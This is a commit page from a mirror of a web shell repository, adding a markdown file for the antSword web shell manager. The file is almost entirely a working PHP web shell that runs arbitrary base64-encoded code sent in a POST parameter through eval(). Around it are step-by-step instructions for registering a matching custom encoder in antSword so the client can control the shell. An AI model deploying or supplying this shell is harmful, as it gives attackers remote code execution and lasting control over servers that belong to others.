1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-22 23:59:02 +00:00

Create mybase.md

This commit is contained in:
tennc
2016-05-16 09:27:04 +08:00
parent 7487bfa404
commit 87ec53d3ce

29
antSword/mybase.md Normal file
View File

@@ -0,0 +1,29 @@
shell code
```php
<?php
$a = $_POST['n985de9'];
if(isset($a)) {
eval(base64_decode($a));
}
?>
```
add : source/core/php/encoder/mybase64.js
```js
module.exports = (pwd, data) => {
data[pwd] = new Buffer(data['_']).toString('base64');
delete data['_'];
return data;
}
```
edit : sources/core/php/index.js < add some code: regedit mybase64.js
```js
get encoders() {
return ['chr', 'base64', 'mybase64'];
}
```
restart antsword, and add shell, select mybase64 encode for this shell code.